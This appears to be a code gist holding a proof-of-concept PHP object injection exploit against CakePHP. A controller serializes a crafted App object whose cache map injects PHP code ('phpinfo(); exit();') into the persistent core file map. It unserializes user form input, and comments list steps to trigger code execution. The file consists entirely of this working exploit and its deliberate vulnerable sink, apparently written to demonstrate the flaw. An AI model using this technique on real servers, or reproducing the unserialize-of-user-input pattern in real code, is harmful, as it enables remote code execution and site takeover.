gistfile1.php

// --- Controller

class TestsController extends Controller {
	
	public $uses = array();
	
	public function add() {
		
		$x = new App();
		$x->__cache = 1;
		$x->__map = array(
			'Core' => array('Router' => '../tmp/cache/persistent/cake_core_file_map'),
			'Foo' => '<?php phpinfo(); exit(); ?>'
		);
		$x->__paths = array();
		$x->__objects = array();
		$a = serialize($x);
		$this->log($a);
		// - Now read the value from /tmp/logs/error.log
		// - Set debug to 0
		// - Enter the serialized string into the form, and submit
		// - reload the page

		if (!empty($this->data)) {
			unserialize($this->data['Test']['field']);
		}
	}
}

// --- View File

echo $this->Form->create('Test');
echo $this->Form->textarea('field');
echo $this->Form->end('submit');